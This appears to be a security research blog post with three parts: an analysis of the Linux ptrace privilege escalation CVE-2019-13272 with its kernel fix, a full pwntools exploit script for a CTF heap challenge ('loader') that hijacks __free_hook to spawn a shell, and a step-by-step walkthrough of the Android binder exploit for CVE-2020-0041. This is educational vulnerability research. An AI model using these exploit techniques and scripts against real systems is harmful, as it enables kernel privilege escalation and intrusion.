CVE-2019-13272

Jann Horn’s bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903

Original Design for ptracer_cred

Please consider the following scenario:

First of all, the process A calls ptrace with PTRACE_TRACEME. Process B attaches process A and later A invokes execve('passwd'). Since A is supposed to become a privileged process because of executing a suid binary, will process B gets elevated privilege in order to trace process A?

Obviously the kernel won’t allow this kind of request. Let’s take a look at ptrace_traceme:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* ptrace_traceme -- helper for PTRACE_TRACEME
*
* Performs checks and sets PT_PTRACED.
* Should be used by all ptrace implementations for PTRACE_TRACEME.
*/
static int ptrace_traceme(void)
{
int ret = -EPERM;

write_lock_irq(&tasklist_lock);
/* Are we already being traced? */
if (!current->ptrace) {
ret = security_ptrace_traceme(current->parent);
/*
* Check PF_EXITING to ensure ->real_parent has not passed
* exit_ptrace(). Otherwise we don't report the error but
* pretend ->real_parent untraces us right after return.
*/
if (!ret && !(current->real_parent->flags & PF_EXITING)) {
current->ptrace = PT_PTRACED;
ptrace_link(current, current->real_parent);
}
}
write_unlock_irq(&tasklist_lock);

return ret;
}

ptrace_link gets parent’s cred from RCU and invokes internal function __ptrace_link:

1
2
3
4
5
6
7
8
9
#define __task_cred(task)	\
rcu_dereference((task)->real_cred)

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}

ptracer_cred is set as parent’s cred:

1
2
3
4
5
6
7
8
void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
const struct cred *ptracer_cred)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced);
child->parent = new_parent;
child->ptracer_cred = get_cred(ptracer_cred);
}

When execve syscall is invoked while the process is being traced(current->ptrace == PT_PTRACED), Linux kernel calls ptracer_capable from cap_bprm_set_creds for security check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* ptracer_capable - Determine if the ptracer holds CAP_SYS_PTRACE in the namespace
* @tsk: The task that may be ptraced
* @ns: The user namespace to search for CAP_SYS_PTRACE in
*
* Return true if the task that is ptracing the current task had CAP_SYS_PTRACE
* in the specified user namespace.
*/
bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
{
int ret = 0; /* An absent tracer adds no restrictions */
const struct cred *cred;

rcu_read_lock();
cred = rcu_dereference(tsk->ptracer_cred);
if (cred)
ret = security_capable(cred, ns, CAP_SYS_PTRACE,
CAP_OPT_NOAUDIT);
rcu_read_unlock();
return (ret == 0);
}

In short, if the tracer is a not a privileged user(tracee->ptracer_cred), the tracee cannot be elevated as a privileged task. At this point, the design of ptracer_cred looks very nice and secure^^

One last loose end

Debian has a weird binary called pkexec. If pkexec is executed without --user argument, the binary will run as root since it has suid. However, when --user argument exists, pkexec will voluntarily drops privilege by setuid.

The ptracer_cred could be privileged when a child process is being debugged by the parent which invokes execve(pkexec --user). After the child process invokes execve(passwd), the child process is privileged. Now, the parent process calls setresuid to drop its privileges. However, the unprivileged parent process is still able to trace privileged child since ptracer_cred remains privileged, which leads to EoP.

Jann’s PoC:

Proc A Proc B Proc C
Init Not exist Not exist
Clone B Not exist
Blocked - Wait until Proc B becomes helper Clone C Blocked: Wait until Proc B’s uid is 0
Blocked pkexec (root cred) PTRACE_TRACEME task_C->ptracer_cred = ROOT
Blocked Blocked - helper (user) PTRACE_TRACEME task_C->ptracer_cred = ROOT
Blocked Blocked - helper (user) execl(“/usr/bin/passwd”, …)
PTRACE_ATTACH B Blocked passwd
PTRACE_ATTACH B execveat -> middle_stage2 passwd
waitpid(B) trace C - EoP passwd
waitpid(B) trace C hacked

Local DoS

The parent’s cred becomes stale if the parent process invokes __sys_setresuid while the child process calls ptrace_traceme:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* __put_cred - Destroy a set of credentials
* @cred: The record to release
*
* Destroy a set of credentials on which no references remain.
*/
void __put_cred(struct cred *cred)
{
kdebug("__put_cred(%p{%d,%d})", cred,
atomic_read(&cred->usage),
read_cred_subscribers(cred));

BUG_ON(atomic_read(&cred->usage) != 0);
#ifdef CONFIG_DEBUG_CREDENTIALS
BUG_ON(read_cred_subscribers(cred) != 0);
cred->magic = CRED_MAGIC_DEAD;
cred->put_addr = __builtin_return_address(0);
#endif
BUG_ON(cred == current->cred);
BUG_ON(cred == current->real_cred);

call_rcu(&cred->rcu, put_cred_rcu);
}

Since __ptrace_link attempts to increment the reference count of cred, a kernel bug might be triggered:

Child Parent
ptrace_traceme
sys_setresuid -> commit_cred -> put_cred -> put_cred
rcu_read_lock -> enter RCU reader critical section(reader comes first)
put_cred_rcu: grace period
get_cred -> increase ref for staled cred
rcu_read_unlock -> leave RCU reader critical section
put_cred_rcu: reclaim
put_cred_rcu: if (atomic_read(&cred->usage) != 0) panic

Fix

Replace parent’s cred to child’s:

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e2205f..705887f63288 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}

JM2021 - PWNME

loader

An integer overflow bug can be triggered while parsing a corrupted PE structure. To hijack the program control flow, the general idea is to convert the integer overflow vulnerability into an arbitrary heap overwrite primitive.

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
#coding=utf8
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
BIN_PATH = './loader'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def get_base_address(proc):
return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def z(breakpoints=[]):
script = "handle SIGALRM ignore\n"
PIE = get_base_address(p)
script += "set $_base = 0x{:x}\n".format(PIE)
for bp in breakpoints:
script += "b *0x%x\n"%(PIE+bp)
#script += 'x/30gx 0x%x\n'%(PIE+0x5060)
gdb.attach(p,gdbscript=script)
'''
def z(command=open('debug')):
if DEBUG_ON:
gdb.attach(p, command)
raw_input()
'''

def construct_section(name, v_size, v_addr, size_of_raw, p_to_raw):
section = name.ljust(8, '\x00')
section += p32(v_size)
section += p32(v_addr)
section += p32(size_of_raw)
section += p32(p_to_raw)
section += p32(0xdeadbeef)*4
return section

def construct_pe(num_sections):
dosheader = p32(0x905a4d)
dosheader += p32(0x3)
dosheader += p32(0x4)
dosheader += p32(0xffff)
dosheader += p32(0xb8)
dosheader += p32(0x0)
dosheader += p32(0x0) # Address of relocation table
dosheader += p32(0)*8
dosheader += p32(0x40) # NTheader offset
# dosheader += 'A'*16 # dos_stub
pe = dosheader
ntheader = p32(0x4550)
ntheader += p16(0x14c) # File header
ntheader += p16(num_sections) # number of sections
ntheader += p32(0x1) # timestamp
ntheader += p32(0) # pointer to symbol table
ntheader += p32(0) # num of symbols
ntheader += p16(0x0) # size of optional header
ntheader += p16(0x0) # file characteristics
pe += ntheader
# 0x138
pe += (0x40 + 0xf8 - len(pe)) * 'A' # optional header
'''
for i in sections:
pe += i
print len(i)
'''
return pe

def add_pe(idx, name, size, data):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('index: ')
p.sendline(str(idx))
p.recvuntil('name: ')
p.sendline(name)
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('data: ')
p.sendline(data)

def delete(idx):
p.recvuntil('>> ')
p.sendline('5')
p.recvuntil('index: ')
p.sendline(str(idx))

def encrypt(data, section_idx):
encrypted_data = ''
for i in range(len(data)):
encrypted_data += chr(((ord(data[i]) - i) ^ 0x39 ^ section_idx) & 0xFF)
return encrypted_data

def view(idx):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(idx))
p.recvuntil('name: ')
return p.recvline()

def edit(idx, name, vaddr, size, data):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(idx))
p.recvuntil('name: ')
p.sendline(name)
p.recvuntil('vaddr: ')
p.sendline(str(vaddr))
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('data: ')
p.sendline(data)

def exploit():
pe_min_length = 0x40 + 0xf8

pe = construct_pe(0x1) # len(sections) == 200
section = construct_section('a', 0, v_addr=0x0, size_of_raw=0x100, p_to_raw=len(pe))
pe += section
pe += 'A'*0x100

# [chunk 0x50] [data 0x360] [section 0x200]
add_pe(0, '0', len(pe), pe)

pe = construct_pe(0x1)
pe += construct_section('b', 0, v_addr=0x0, size_of_raw=0x110, p_to_raw=len(pe))
pe += 'B'*0x110
add_pe(1, '1', len(pe), pe)

pe = construct_pe(0x0)
add_pe(2, '2', len(pe), pe)
add_pe(3, '3', len(pe), pe)
add_pe(4, '4', 0x60, 'P'*0x60) # pad
pe = construct_pe(0x1)
pe += construct_section('a', 0, v_addr=0, size_of_raw=0x60, p_to_raw=len(pe)+0x28)
pe += 'A'*0x60
add_pe(0x4, '4', len(pe), pe)

delete(0)
delete(1)

num_sections = 0x2
pe = construct_pe(num_sections)
v_addr = pe_min_length + 0x380 + 0x60 + 0x28
p_to_raw = len(pe) + 0x28 * num_sections
size_of_raw = 0x28
pe += construct_section('a', 0, v_addr=v_addr, size_of_raw=size_of_raw, p_to_raw=p_to_raw)
pe += construct_section('b', 0, v_addr=0xfffffff0, size_of_raw=0x20, p_to_raw=0x0)
p_to_raw += 0x28
v_addr = 0x380
pe += encrypt(construct_section('c', 0, v_addr=v_addr, size_of_raw=0x30, p_to_raw=p_to_raw), 0) # fake
fake_chunk = 'A'*16
fake_chunk += 'A'*16
fake_chunk += 'A'*16
pe += encrypt(fake_chunk, 1)
pe += (0x3a0-0x10-len(pe)) * 'A'

add_pe(0, '0', len(pe), pe)
leak = view(0).split('A'*48)[1].strip()
leak = u64(leak.ljust(8, '\x00'))
print(hexdump(leak))
print('leak = ' + hex(leak))

heapbase = leak - 0x450
log.success('Heapbase = ' + hex(heapbase))

delete(0)
num_sections = 0x2
pe = construct_pe(num_sections)
v_addr = pe_min_length + 0x380 + 0x60 + 0x28
p_to_raw = len(pe) + 0x28 * num_sections
size_of_raw = 0x28
pe += construct_section('a', 0, v_addr=v_addr, size_of_raw=size_of_raw, p_to_raw=p_to_raw)
pe += construct_section('b', 0, v_addr=0xfffffff0, size_of_raw=0x20, p_to_raw=0x0)
p_to_raw += 0x28
v_addr = 0x380 #+ 0x48
pe += encrypt(construct_section('c', 0, v_addr=v_addr, size_of_raw=0x4c, p_to_raw=p_to_raw), 0) # fake
fake_chunk = 'C'*0x40
fake_chunk += p64(leak + 0x3a0)
fake_chunk += p32(0xffffffff)
pe += encrypt(fake_chunk, 1)#p32(0xffffffff), 1)
pe += (0x3a0-0x10-len(pe)) * 'A'
add_pe(0, '0', len(pe), pe)

delete(3)
# chunk #2: 0x5555557587f0
vaddr = 0x0
size = 0x220
data = '\x42'*size
edit(0, 'K', vaddr, size, data)

libc_leak = view(2).split('B'*0x220)[1].strip()
libc_leak = u64(libc_leak.ljust(8, '\x00'))
print('libc leak = ' + hex(libc_leak))
libc.address = libc_leak - 0x3c4b78
log.success('libc base = ' + hex(libc.address))

# 4 -> 0x555555758bd0
fast1 = leak + 0x770 + 0x10
fast2 = leak + 0xa10 + 0x10
size = 0x220
data = '\x42'*0x50
data += p64(0) + p64(0x61)
data += '\x42'*(size - len(data))
edit(0, 'K', vaddr, size, data) # free(chunk) will be ok

edit(0, 'K', 0x40, 0x8, p64(libc.symbols['__free_hook'])) # 0x7ffff7dd37a8
edit(2, 'A', 0x0, 0x8, p64(libc.symbols['system']))
bin_sh = next(libc.search('/bin/sh'))
log.info('/bin/sh == ' + hex(bin_sh))
edit(0, 'K', 0x40, 0x8, p64(bin_sh))
p.recvuntil('>> ')
p.sendline('5')
p.recvuntil('index: ')
p.sendline('2')

'''
[*] Switching to interactive mode
$
$ ls
bin
dev
flag
lib
lib32
lib64
loader
$ cat flag
flag{ACB58CFDAEF1CC91EAC90D6B2309304E}
'''

p.interactive()

if __name__ == '__main__':
if len(sys.argv) == 1:
p = process(executable=BIN_PATH, argv=[BIN_PATH],
env={'LD_PRELOAD': LIBC_PATH})
else:
p = remote('119.3.81.43', 2399)

exploit()

CVE-2020-0041 Analysis

1. Emulator Environment

Compile goldfish 4.14 kernel and create a pixel avd instance. Use the following command to launch the emulator and start kernel debugging:

1
emulator -avd pixel_3a_xl_api_29_64 -kernel goldfish/arch/x86_64/boot/bzImage -verbose -ranchu -no-snapshot -debug init -show-kernel -no-boot-anim -no-skin -no-audio -no-window -qemu -s

2. Transaction Data Overview

2.1 Attack Surface

To communicate with binder driver, the userspace program needs to serialize data into binder_io structure. There are various APIs such as bio_init, bio_put_string16_x, bio_alloc for allocating memory and serializing data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void bio_init(struct binder_io *bio, void *data,
size_t maxdata, size_t maxoffs) {
size_t n = maxoffs * sizeof(size_t);
if (n > maxdata) {
bio->flags = BIO_F_OVERFLOW;
bio->data_avail = 0;
bio->offs_avail = 0;
return;
}
bio->data = bio->data0 = (char *) data + n;
bio->offs = bio->offs0 = data;
bio->data_avail = maxdata - n;
bio->offs_avail = maxoffs;
bio->flags = 0;
}

When serializing string AA, the bio->data may look like this:

Then binder_transaction_data needs to be properly initialized for invoking BINDER_WRITE_READ ioctl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct {
uint32_t cmd;
struct binder_transaction_data txn;
} __attribute__((packed)) writebuf;
unsigned readbuf[32];

writebuf.cmd = BC_TRANSACTION;
writebuf.txn.target.handle = handle;
writebuf.txn.code = code;
writebuf.txn.flags = 0;
writebuf.txn.data_size = msg->data - msg->data0;
writebuf.txn.offsets_size = ((char*) msg->offs) - ((char*) msg->offs0);
writebuf.txn.data.ptr.buffer = (uintptr_t)msg->data0;
writebuf.txn.data.ptr.offsets = (uintptr_t)msg->offs0;
bwr.write_size = sizeof(writebuf);
bwr.write_consumed = 0;
bwr.write_buffer = (uintptr_t) &writebuf;

...
res = ioctl(bs->fd, BINDER_WRITE_READ, &bwr);

2.2 Taking a look at binder transaction buffer fixup

2.2.1 Transaction Buffer

A normal binder transaction buffer may look like this:

Data buffer: containing aforementioned BINDER_TYPE_PTR and BINDER_TYPE_HANDLE structures(binder_object):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct binder_object {
union {
struct binder_object_header hdr;
struct flat_binder_object fbo;
struct binder_fd_object fdo;
struct binder_buffer_object bbo;
struct binder_fd_array_object fdao;
};
};

struct binder_buffer_object {
struct binder_object_header hdr;
__u32 flags;
binder_uintptr_t buffer;
binder_size_t length;
binder_size_t parent;
binder_size_t parent_offset;
};

Offset buffer: containing aforementioned offset0, offset1 and offset2 data which points to the structures in the data buffer accordingly.

Extra buffer: depends on the type of the binder object, the userspace data in the data buffer might be copied into the extra buffer located in the shared kernel space. Take BINDER_TYPE_PTR as an example, the data in binder_object.bbo->buffer will be copied into the extra buffer.

2.2.2 parent / parent_offset

The parent and parent_offset allows binder to patch a pointer inside of a parent buffer:

Source code for handling BINDER_TYPE_PTR is here. The BINDER_TYPE_PTR needs to be verified by binder_validate_ptr and binder_validate_fixup before patching.

2.2.3 validation: binder_validate_ptr

binder_fixup_parent validates offset buffer by binder_validate_ptr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static struct binder_buffer_object *binder_validate_ptr(...) {
if (index >= num_valid) // parent_index
return NULL;
buffer_offset = start_offset + sizeof(binder_size_t) * index;
binder_alloc_copy_from_buffer(&proc->alloc, &object_offset,
b, buffer_offset, sizeof(object_offset));
object_size = binder_get_object(proc, b, object_offset, object);
if (!object_size || object->hdr.type != BINDER_TYPE_PTR)
return NULL;
if (object_offsetp)
*object_offsetp = object_offset;

return &object->bbo;
}

In other words, an invalid offset will be automatically rejected by binder:

If everything looks good, binder_validate_ptr will get the offset of the parent data buffer and parent binder_buffer_object.

2.2.4 validation: binder_validate_fixup

If one of the following rules is met, binder_validate_fixup returns true:

  • Allowing fixup inside a buffer to happen at increasing offsets.
  • Allowing fixup on the last buffer object that was verified, or one of its parents.

Once an object is verified for patch, the last_obj_offset is updated to the current verified object. For the below case, the binder transaction buffer is valid when z > y > x:

The following scenario is also valid if z > y > x:

The implementation of binder_validate_fixup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (!last_obj_offset) {
/* Nothing to fix up in */
return false;
}

while (last_obj_offset != buffer_obj_offset) {
unsigned long buffer_offset;
struct binder_object last_object;
struct binder_buffer_object *last_bbo;
size_t object_size = binder_get_object(proc, b, last_obj_offset,
&last_object);
if (object_size != sizeof(*last_bbo))
return false;

last_bbo = &last_object.bbo;
/*
* Safe to retrieve the parent of last_obj, since it
* was already previously verified by the driver.
*/
if ((last_bbo->flags & BINDER_BUFFER_FLAG_HAS_PARENT) == 0)
return false;
last_min_offset = last_bbo->parent_offset + sizeof(uintptr_t);
buffer_offset = objects_start_offset +
sizeof(binder_size_t) * last_bbo->parent,
binder_alloc_copy_from_buffer(&proc->alloc, &last_obj_offset,
b, buffer_offset,
sizeof(last_obj_offset));
}
return (fixup_offset >= last_min_offset);

For BINDER_TYPE_PTR, last_obj_offset points to the last verified object and last_min_offset is initialized as 0x0 by default.

2.2.5 fixup

Once the validation process is passed, binder offers a patch on the parent buffer:

1
2
3
4
buffer_offset = bp->parent_offset +
(uintptr_t)parent->buffer - (uintptr_t)b->user_data;
binder_alloc_copy_to_buffer(&target_proc->alloc, b, buffer_offset,
&bp->buffer, sizeof(bp->buffer));

3. Vulnerabilities

3.1 Incorrect num_valid

Linux kernel commit bde4a19fc04f5f46298c86b1acb7a4af1d5f138d introduces two vulnerabilities when binder_transaction parses BINDER_TYPE_PTR or BINDER_TYPE_FDA:

1
2
3
num_valid = (buffer_offset - off_start_offset) * sizeof(binder_size_t);
ret = binder_fixup_parent(t, thread, bp, off_start_offset, num_valid, last_fixup_obj_off, last_fixup_min_off);
...

The vulnerability is fixed in the later commit.

3.2 What’s wrong with binder fixup?

As the num_valid is calculated incorrectly, binder_validate_ptr now fails to do range check properly. Therefore, the buffer_offset may exist in the uninitialized extra buffer:

When validating object D, the parent index offset B is overwritten to A in the extra buffer. When binder_validate_fixup is invoked, the buffer_obj_offset still points to same index which is mistakenly considered as the stale offset B. Since last_obj_offset == buffer_obj_offset, the binder_validate_fixup is successfully bypassed:

3.3 Restriction

Let’s take a look at the parent patch code again:

1
2
3
4
buffer_offset = bp->parent_offset +
(uintptr_t)parent->buffer - (uintptr_t)b->user_data;
binder_alloc_copy_to_buffer(&target_proc->alloc, b, buffer_offset,
&bp->buffer, sizeof(bp->buffer));

binder_alloc_copy_to_buffer only allows for patching inside of the current transaction buffer. If the buffer_offset is out of the current transaction buffer, the kernel triggers BUG_ON:

1
2
3
4
static void binder_alloc_do_buffer_copy(...) {
BUG_ON(!check_buffer(alloc, buffer, buffer_offset, bytes));
...
}

Admittedly, the exploit is able to control bp->parent_offset and parent->buffer (mapped by /dev/binder mapped). However, it seems that b->user_data is not easy to calculate unless the exploit is able to manipulate the memory management of the transaction buffer allocator.

4. Exploit - Preparation

The analysis of CVE-2020-0041 exploit is based on https://github.com/bluefrostsecurity/CVE-2020-0041

4.1 ITokenManager

Context manager doesn’t allow an unprivileged application to register services. However, an unprivileged application could talk to android.hidl.manager@1.0::IServiceManager in /dev/hwbinder domain for registering a sub-service by android.hidl.token@1.0::ITokenManager.

By communicating the service registered by itself, the application is able to fetch a handle on behalf of the service locally. As a result, the exploit code is able to control two separate kinds of tasks: “client” & “server”:

4.2 Tricks on binder buffer allocator

One of the problems in exploiting the vulnerability is to control the aforementioned b->user_data. Although the transaction buffer is on the binder mapped memory, the exploit code needs to know the value of b->user_data in order to craft parent->buffer. Consequently, the exploit code needs to manipulate the binder_buffer memory management mechanism:

When RESERVE_BUFFER command is executed, tr->data.ptr.buffer is intentionally not freed for avoiding forward consolidation. The below buffer with size 127*1024 is “reserved” for sending corrupted transaction buffer:

As a result, the proc->free_buffers becomes:

Because the best fit allocation policy is adopted, the exploit code is able to guarantee that the b->user_data equals bs->mapped.

4.3 Create a fake node

The EXCHANGE_HANDLES command creates a fake node by bio_put_obj(reply, bs->mapped + 0xe8); and sends to the client thread. 0xe8 is an offset which will be discussed later in the information leak section.

The GET_VMA_START command sends bs->mapped to the client side which will be used later for crafting corrupted binder transaction buffer.

4.4 Setup pending fake nodes

The exploit code sets up 0x40 pending nodes by ONE_WAY transaction (async):

Fake node info:

Later on, pending_node_free is called for sending crafted corrupted binder transaction buffer and triggering UAF.

5. Exploit - Leak targeted node & file

5.1 Craft Corrupted Binder Transaction Buffer

The goal of UAF is to prematurely release the fake node by manipulating the reference count. The object B doesn’t have the offset buffer accordingly, but it will be patched later due to the num_valid bug(of course, directly patch the object doesn’t work because you’re patching a copy):

1
2
3
4
5
6
7
8
struct binder_buffer_object *bbo = (struct binder_buffer_object *)(ptr);
bbo->hdr.type = BINDER_TYPE_PTR;
bbo->flags = 0;
bbo->buffer = vma_start;
bbo->length = 0xdeadbeefbadc0ded;
bbo->parent = 0;
bbo->parent_offset = 0;
ptr = ++bbo;

Before object D is parsed, the object C successfully patches object B:

However, when object D copies its userspace data to the kernel extra buffer, the offset B in the uninitialized extra buffer is now overwritten to the unverified object A:

Since parent->buffer == b->user_data, the bs->mapped + bp->parent_offset will be overwritten to the starting address of the extra buffer D which happens to be the fake node bs->mapped + 0xe8:

Before patching the BINDER_TYPE_HANDLE object:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ p *(struct flat_binder_object*) b->user_data
$8 = {
hdr = {
type = 0x73622a85 (BINDER_TYPE_HANDLE is automatically translated to BINDER_TYPE_BINDER)
},
flags = 0x0,
{
binder = 0x42,
handle = 0x42
},
cookie = 0x0
}
gdb-peda$

After patching, flat_binder_object.binder now points to the fake invalid node:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ p *(struct flat_binder_object*) 0x7495e7d87000
$11 = {
hdr = {
type = 0x73622a85
},
flags = 0x0,
{
binder = 0x7495e7d870e8, // bs->mapped + 0xe8
handle = 0xe7d870e8
},
cookie = 0x0
}
gdb-peda$ x/gx 0x00007495e7d870e8
0x7495e7d870e8: 0x0000000000000018
gdb-peda$

5.2 UAF in binder_transaction_buffer_release

When binder_transaction_buffer_release is called after the transaction is completed, binder attempts to decrease the reference count for the fake node:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
for (buffer_offset = off_start_offset; buffer_offset < off_end_offset; buffer_offset += sizeof(binder_size_t)) {
struct binder_object_header *hdr;
size_t object_size;
struct binder_object object;
binder_size_t object_offset;
binder_alloc_copy_from_buffer(&proc->alloc, &object_offset,
buffer, buffer_offset,
sizeof(object_offset));
object_size = binder_get_object(proc, buffer,
object_offset, &object);
...
hdr = &object.hdr;
switch (hdr->type) {
case BINDER_TYPE_BINDER:
case BINDER_TYPE_WEAK_BINDER: {
struct flat_binder_object *fp;
struct binder_node *node;
fp = to_flat_binder_object(hdr);
node = binder_get_node(proc, fp->binder);
if (node == NULL) {
pr_err("transaction release %d bad node %016llx\n",
debug_id, (u64)fp->binder);
break;
}
binder_debug(BINDER_DEBUG_TRANSACTION,
" node %d u%016llx\n",
node->debug_id, (u64)node->ptr);
binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER,
0); <- here
binder_put_node(node);
} break;
...

As a result, the exploit code can just send multiple corrupted binder transactions to prematurely release the fake node, which essentially leads to UAF. The binder_thread_read will leak ptr and cookie from the UAF node:

1
2
3
4
5
6
7
8
9
10
11
...
if (t->buffer->target_node) {
struct binder_node *target_node = t->buffer->target_node;
struct binder_priority node_prio;
trd->target.ptr = target_node->ptr;
trd->cookie = target_node->cookie;
...
}
...
if (copy_to_user(ptr, &tr, trsize)) {
...

5.3 Spray epitem

The epitem structure can be exploited for the information leak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb) pt /o struct binder_node
/* offset | size */ type = struct binder_node {
...
/* 88 | 8 */ binder_uintptr_t ptr;
/* 96 | 8 */ binder_uintptr_t cookie;
...
}

(gdb) pt /o struct epitem
/* offset | size */ type = struct epitem {
...
/* 88 | 16 */ struct list_head {
/* 88 | 8 */ struct list_head *next;
/* 96 | 8 */ struct list_head *prev;
...
}

When a UAF node is created, try allocating a bunch of epitem structures:

1
2
3
4
for (i = 1; i < NEPITEMS; i++) {
evt.data.fd = fd;
epoll_ctl(ep_arr[i], EPOLL_CTL_ADD, fd, &evt);
}

epoll_ctl internal:

1
2
3
4
5
6
7
error = -EINVAL;
switch (op) {
case EPOLL_CTL_ADD:
if (!epi) {
epds.events |= POLLERR | POLLHUP;
error = ep_insert(ep, &epds, tf.file, fd, full_check);
} else

ep_insert internal:

1
2
3
4
5
6
struct epitem *epi;
...
if (!(epi = kmem_cache_alloc(epi_cache, GFP_KERNEL)))
return -ENOMEM;
...
list_add_tail_rcu(&epi->fllink, &tfile->f_ep_links);

For instance, here is the relationship between epitem and file after creating epitem0, epitem1 and epitem2 structures consequently:

Close epitem2 as well as epitem1 consequently and read leaked data(target.ptr/cookie) from the pending transaction queue, the exploit code can safely obtain the address of the file structure:

5.4 Leak UAF node address

Implement a similar trick described in 5.3 by creating another UAF binder node, the fdlink now becomes:

Hence, the address of UAF node can be obtained (e.g. epitem0.fdlink.next - 0x58).

6.1 binder_dec_node_nilocked

binder_dec_node_nilocked is invoked by binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER, 0):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static bool binder_dec_node_nilocked(struct binder_node *node,
int strong, int internal) {
struct binder_proc *proc = node->proc;

assert_spin_locked(&node->lock);
if (proc)
assert_spin_locked(&proc->inner_lock);
if (strong) {
if (internal)
node->internal_strong_refs--;
else
node->local_strong_refs--;
if (node->local_strong_refs || node->internal_strong_refs)
return false;
} else {
if (!internal)
node->local_weak_refs--;
if (node->local_weak_refs || node->tmp_refs ||
!hlist_empty(&node->refs))
return false;
}

if (proc && (node->has_strong_ref || node->has_weak_ref)) {
if (list_empty(&node->work.entry)) {
binder_enqueue_work_ilocked(&node->work, &proc->todo);
binder_wakeup_proc_ilocked(proc);
}
} else {
if (hlist_empty(&node->refs) && !node->local_strong_refs &&
!node->local_weak_refs && !node->tmp_refs) {
if (proc) {
binder_dequeue_work_ilocked(&node->work);
rb_erase(&node->rb_node, &proc->nodes);
binder_debug(BINDER_DEBUG_INTERNAL_REFS,
"refless node %d deleted\n",
node->debug_id);
} else {
BUG_ON(!list_empty(&node->work.entry));
spin_lock(&binder_dead_nodes_lock);
/*
* tmp_refs could have changed so
* check it again
*/
if (node->tmp_refs) {
spin_unlock(&binder_dead_nodes_lock);
return false;
}
hlist_del(&node->dead_node); // Write primitive

To reach the unlink write primitive hlist_del, the crafted UAF node needs to meet the following conditions:

1
2
3
4
5
6
7
proc = NULL
refs = NULL
local_strong_refs = 1
internal_strong_refs = 0
local_weak_refs = 0
tmp_refs = 0
node->work.entry.next == node->work.entry.prev == binder_node(leaked) + 0x8

6.2 __sendmmsg Heap Spraying

As usual, sendmmsg is used for kernel heap spraying:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int ___sys_sendmsg(...) {
...
if (ctl_len > sizeof(ctl)) {
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/*
* Careful! Before this, msg_sys->msg_control contains a user pointer.
* Afterwards, it will be a kernel pointer. Thus the compiler-assisted
* checking falls down on this.
*/
if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
...
}

Once the UAF node is hold by sendmmsg and properly crafted (e.g. free used epitem before spraying), the exploit code will trigger hlist_del in binder_dec_node_nilocked:

1
2
3
4
